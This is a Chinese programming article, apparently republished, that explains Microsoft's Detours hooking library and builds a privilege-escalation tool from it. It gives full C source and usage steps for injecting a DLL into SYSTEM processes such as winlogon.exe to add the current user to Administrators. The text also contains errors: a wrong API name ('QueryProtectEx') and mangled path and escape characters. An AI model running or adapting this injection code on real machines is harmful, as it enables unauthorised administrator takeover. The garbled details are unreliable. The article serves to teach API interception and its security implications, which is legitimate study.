用DETOURS库获取NT管理员权限

2024-04-20 16:38

本文主要是介绍用DETOURS库获取NT管理员权限,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

陈志敏dd
---- Detours是微软开发的一个函数库(源代码可在http://research.microsoft.com/sn/detours 免费获得), 用于修改运行中的程序在内存中的影像,从而即使没有源代码也能改变程序的行为。具体用途是:

拦截WIN32 API调用,将其引导到自己的子程序,从而实现WIN32 API的定制。
为一个已在运行的进程创建一新线程,装入自己的代码并运行。
---- 本文将简介Detours的原理,Detours库函数的用法, 并利用Detours库函数在Windows NT上编写了一个程序,该程序能使有“调试程序”的用户权限的用户成为系统管理员,附录利用Detours库函数修改该程序使普通用户即可成为系统管理员(在NT4 SP3上)。

一. Detours的原理

---- 1. WIN32进程的内存管理

---- 总所周知,WINDOWS NT实现了虚拟存储器,每一WIN32进程拥有4GB的虚存空间, 关于WIN32进程的虚存结构及其操作的具体细节请参阅WIN32 API手册, 以下仅指出与Detours相关的几点:

---- (1) 进程要执行的指令也放在虚存空间中
---- (2) 可以使用QueryProtectEx函数把存放指令的页面的权限更改为可读可写可执行,再改写其内容,从而修改正在运行的程序
---- (3) 可以使用VirtualAllocEx从一个进程为另一正运行的进程分配虚存,再使用 QueryProtectEx函数把页面的权限更改为可读可写可执行,并把要执行的指令以二进制机器码的形式写入,从而为一个正在运行的进程注入任意的代码

---- 2. 拦截WIN32 API的原理

---- Detours定义了三个概念:

---- (1) Target函数:要拦截的函数,通常为Windows的API。
---- (2) Trampoline函数:Target函数的复制品。因为Detours将会改写Target函数,所以先把Target函数复制保存好,一方面仍然保存Target函数的过程调用语义,另一方面便于以后的恢复。
---- (3) Detour 函数:用来替代Target函数的函数。

---- Detours在Target函数的开头加入JMP Address_of_ Detour_ Function指令(共5个字节)把对Target函数的调用引导到自己的Detour函数, 把Target函数的开头的5个字节加上JMP Address_of_ Target _ Function+5作为Trampoline函数。例子如下:

拦截前:Target _ Function:
  ;Target函数入口,以下为假想的常见的子程序入口代码
  push  ebp
  mov  ebp,  esp
  push  eax
  push  ebx
  Trampoline:
  ;以下是Target函数的继续部分
  ……

拦截后: Target _ Function:
  jmp  Detour_Function
  Trampoline:
  ;以下是Target函数的继续部分
  ……

  Trampoline_Function:
  ; Trampoline函数入口, 开头的5个字节与Target函数相同
  push  ebp
  mov  ebp,  esp
  push  eax
  push  ebx
  ;跳回去继续执行Target函数
  jmp  Target_Function+5
---- 3. 为一个已在运行的进程装入一个DLL

---- 以下是其步骤:

---- (1) 创建一个ThreadFuction,内容仅是调用LoadLibrary。
---- (2) 用VirtualAllocEx为一个已在运行的进程分配一片虚存,并把权限更改为可读可写可执行。
---- (3) 把ThreadFuction的二进制机器码写入这片虚存。
---- (4) 用CreateRemoteThread在该进程上创建一个线程,传入前面分配的虚存的起始地址作为线程函数的地址,即可为一个已在运行的进程装入一个DLL。通过DllMain 即可在一个已在运行的进程中运行自己的代码。

二. Detours库函数的用法

---- 因为Detours软件包并没有附带帮助文件,以下接口仅从剖析源代码得出。

---- 1. PBYTE WINAPI DetourFindFunction(PCHAR pszModule, PCHAR pszFunction)

---- 功能:从一DLL中找出一函数的入口地址
---- 参数:pszModule是DLL名,pszFunction是函数名。
---- 返回:名为pszModule的DLL的名为pszFunction的函数的入口地址
---- 说明:DetourFindFunction除使用GetProcAddress外,还直接分析DLL的文件头,因此可以找到一些GetProcAddress找不到的函数入口。

---- 2. DETOUR_TRAMPOLINE(trampoline_prototype, target_name)
---- 功能:该宏把名为target_name 的Target函数生成Trampoline函数,以后调用 trampoline_prototype在语义上等于调用Target函数。

---- 3. BOOL WINAPI DetourFunctionWithTrampoline(PBYTE pbTrampoline, BYTE pbDetour)
---- 功能:用Detour 函数拦截Target函数
---- 参数:pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype,pbDetour是 Detour 函数的入口地址。

---- 4. BOOL WINAPI DetourRemoveWithTrampoline(PBYTE pbTrampoline,PBYTE pbDetour)
---- 功能:恢复Target函数
---- 参数:pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype,pbDetour是 Detour 函数的入口地址。

---- 5. BOOL WINAPI ContinueProcessWithDll(HANDLE hProcess, LPCSTR lpDllName)
---- 功能:为一个已在运行的进程装入一个DLL
---- 参数:hProcess是进程的句柄,lpDllName是要装入的DLL名

三. 程序实例

---- 以一个能使有“调试程序”的用户权限的用户成为系统管理员的程序做例子说明Detours 库函数的用法。程序的设计思路是找一个以System帐号运行的进程,如spoolss.exe, rpcss.exe, winlogon.exe, service.exe等,使用ContinueProcessWithDll在其中注入把当前用户加入到 Administrators本地组的DLL,因为该DLL在这些进程的安全上下文环境运行,所以有相应的权限。

---- 先编写相应的DLL:

/*admin.dll, 当进程装入时会把名为szAccountName
  的用户加入到Administrators本地组。*/

#include
#include
#include
#include

/*以下创建一共享段实现进程间的数据通讯,
  szAccountName 是用户名,bPrepared说明
  szAccountName是否已初始化。*/

#pragma data_seg(".MYSHARE")
BOOL bPrepared=FALSE;
wchar_t szAccountName[100]={0};
#pragma data_seg()

#pragma comment(linker, "/SECTION:.MYSHARE,RWS")

/*程序调用SetAccountName设置要加入到Administrators
  本地组的用户名,并通知DllMain
  已初始化szAccountName ,
  以后被装入时可调用ElevatePriv */

__declspec(dllexport) VOID WINAPI
  SetAccountName(wchar_t *Name)
{
wcscpy(szAccountName,Name);
bPrepared=TRUE;
}

/*把名为szAccountName的用户加入
  到Administrators本地组*/

__declspec(dllexport) VOID WINAPI ElevatePriv()
{
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname=szAccountName;
NetLocalGroupAddMembers(NULL,L"Administrators",
3,(LPBYTE)&account,1);
}

__declspec(dllexport) ULONG WINAPI
DllMain(HINSTANCE hInstance,
DWORD dwReason, PVOID lpReserved)
{
switch (dwReason) {
  case DLL_THREAD_ATTACH:
  if (bPrepared)
    ElevatePriv();
}
return TRUE;
}

程序如下:

/*AddMeToAdministrators.exe 把当前用户加入到
  Administrators本地组。使用方法为:(1)
---- 运行任务管理器找到spoolss.exe或rpcss.exe或winlogon.exe或sevice.exe的进程ID (2)执行AddMeToAdministrators.exe procid, 其中procid为(1)记下的进程ID (3)签退再签到,运行用户管理器,即可发现自己已在Administrators本地组中。*/

#include
#include
#include
#include
#include

extern VOID WINAPI SetAccountName(wchar_t *Name);

/* GetCurrentUser得到自己的用户名称*/

void GetCurrentUser(wchar_t *szName)
{
  HANDLE hProcess, hAccessToken;
  wchar_t InfoBuffer[1000],szAccountName[200],
  szDomainName[200];
  PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
  DWORD dwInfoBufferSize,dwAccountSize = 200,
  dwDomainSize = 200;
  SID_NAME_USE snu;

  hProcess = GetCurrentProcess();

  OpenProcessToken(hProcess,TOKEN_READ,&hAccessToken);

  GetTokenInformation(hAccessToken,TokenUser,
  InfoBuffer,
      1000, &dwInfoBufferSize);

  LookupAccountSid(NULL, pTokenUser->User.Sid,
  szAccountName,
      &dwAccountSize,szDomainName, &dwDomainSize, &snu);
  wcscpy(szName,szDomainName);
  wcscat(szName,L"//");
  wcscat(szName,szAccountName);
}

/* EnablePrivilege启用自己的“调试程序”的用户权限*/

BOOL EnablePrivilege(LPCTSTR szPrivName,BOOL fEnable)
{
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(),
            TOKEN_ADJUST_PRIVILEGES, &hToken))
  return FALSE;
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, szPrivName,
&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = fEnable ?
SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp,
sizeof(tp), NULL, NULL);
return((GetLastError() == ERROR_SUCCESS));
}

int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev,
LPSTR lpszCmdLine, int
nCmdShow)
{
INT argc;
WCHAR **argv;
argv = CommandLineToArgvW(GetCommandLineW(),
&argc);
INT nProcessId = -1;
if (argc!=2){
  wprintf(L"usage %s pid", argv[0]);
  return 1;
}
nProcessId = _wtoi(argv[1]);
printf("%d/n",nProcessId);
---- /*要成功执行ContinueProcessWithDll,要对winlogon.exe等进程的进程句柄有读写存储器内容和创建线程的权限,EnablePrivilege使本进程有这样的权利。*/

if (!EnablePrivilege(SE_DEBUG_NAME, TRUE)){
  printf("AdjustTokenPrivilege Fail %u/n",
(UINT)GetLastError());
  return 1;
}
HANDLE  gNewHandle =
OpenProcess(PROCESS_ALL_ACCESS
, TRUE, nProcessId);
if (!gNewHandle){
  printf("OpenProcess Fail %u/n",
(UINT)GetLastError());
  return 1;
}
  wchar_t szName[100];
GetCurrentUser(szName);
SetAccountName(szName);
If (!ContinueProcessWithDll(gNewHandle,
L"c://temp//admin.dll")) {
  printf("ContinueProcessWithDll failed %u",
(UINT)GetLastError());
  return 3;
}
return 0;
}
---- 因为“调试程序”的用户权限缺省情况下仅赋予给管理员,因此并不会造成安全漏洞。但该程序揭示出“调试程序”的用户权限其实是至高无上的用户权限,只能授予给可信用户。

四. 结论 ---- Detours是一强大的工具,提供了简单易用的函数接口来拦截WIN32 API调用和为一个已在运行的进程装入一个DLL。 

作者Blog: http://blog.csdn.net/FBStudio/
 

这篇关于用DETOURS库获取NT管理员权限的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/920783

相关文章

Spring Security 基于表达式的权限控制

前言 spring security 3.0已经可以使用spring el表达式来控制授权,允许在表达式中使用复杂的布尔逻辑来控制访问的权限。 常见的表达式 Spring Security可用表达式对象的基类是SecurityExpressionRoot。 表达式描述hasRole([role])用户拥有制定的角色时返回true (Spring security默认会带有ROLE_前缀),去

Android Environment 获取的路径问题

1. 以获取 /System 路径为例 /*** Return root of the "system" partition holding the core Android OS.* Always present and mounted read-only.*/public static @NonNull File getRootDirectory() {return DIR_ANDR

JS和jQuery获取节点的兄弟,父级,子级元素

原文转自http://blog.csdn.net/duanshuyong/article/details/7562423 先说一下JS的获取方法,其要比JQUERY的方法麻烦很多,后面以JQUERY的方法作对比。 JS的方法会比JQUERY麻烦很多,主要则是因为FF浏览器,FF浏览器会把你的换行也当最DOM元素。 <div id="test"><div></div><div></div

vcpkg子包路径批量获取

获取vcpkg 子包的路径,并拼接为set(CMAKE_PREFIX_PATH “拼接路径” ) import osdef find_directories_with_subdirs(root_dir):# 构建根目录下的 "packages" 文件夹路径root_packages_dir = os.path.join(root_dir, "packages")# 如果 "packages"

Golang进程权限调度包runtime

关于 runtime 包几个方法: Gosched:让当前线程让出 cpu 以让其它线程运行,它不会挂起当前线程,因此当前线程未来会继续执行GOMAXPROCS:设置最大的可同时使用的 CPU 核数Goexit:退出当前 goroutine(但是defer语句会照常执行)NumGoroutine:返回正在执行和排队的任务总数GOOS:目标操作系统NumCPU:返回当前系统的 CPU 核数量 p

Weex入门教程之4,获取当前全局环境变量和配置信息(屏幕高度、宽度等)

$getConfig() 获取当前全局环境变量和配置信息。 Returns: config (object): 配置对象;bundleUrl (string): bundle 的 url;debug (boolean): 是否是调试模式;env (object): 环境对象; weexVersion (string): Weex sdk 版本;appName (string): 应用名字;

android java.io.IOException: open failed: ENOENT (No such file or directory)-api23+权限受权

问题描述 在安卓上,清单明明已经受权了读写文件权限,但偏偏就是创建不了目录和文件 调用mkdirs()总是返回false. <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/><uses-permission android:name="android.permission.READ_E

MFC中App,Doc,MainFrame,View各指针的互相获取

纸上得来终觉浅,为了熟悉获取方法,我建了个SDI。 首先说明这四个类的执行顺序是App->Doc->Main->View 另外添加CDialog类获得各个指针的方法。 多文档的获取有点小区别,有时间也总结一下。 //  App void CSDIApp::OnApp() {      //  App      //  Doc     CDocument *pD

android两种日志获取log4j

android   log4j 加载日志使用方法; 先上图: 有两种方式: 1:直接使用架包 加载(两个都要使用); 架包:android-logging-log4j-1.0.3.jar 、log4j-1.2.15.jar  (说明:也可以使用架包:log4j-1.2.17.jar)  2:对架包输入日志的二次封装使用; 1:直接使用 log4j 日志框架获取日志信息: A:配置 日志 文

Android6.0以上权限申请

说明: 部分1:出自:http://jijiaxin89.com/2015/08/30/Android-s-Runtime-Permission/ android M 的名字官方刚发布不久,最终正式版即将来临! android在不断发展,最近的更新 M 非常不同,一些主要的变化例如运行时权限将有颠覆性影响。惊讶的是android社区鲜有谈论这事儿,尽管这事很重要或许在不远的将来会引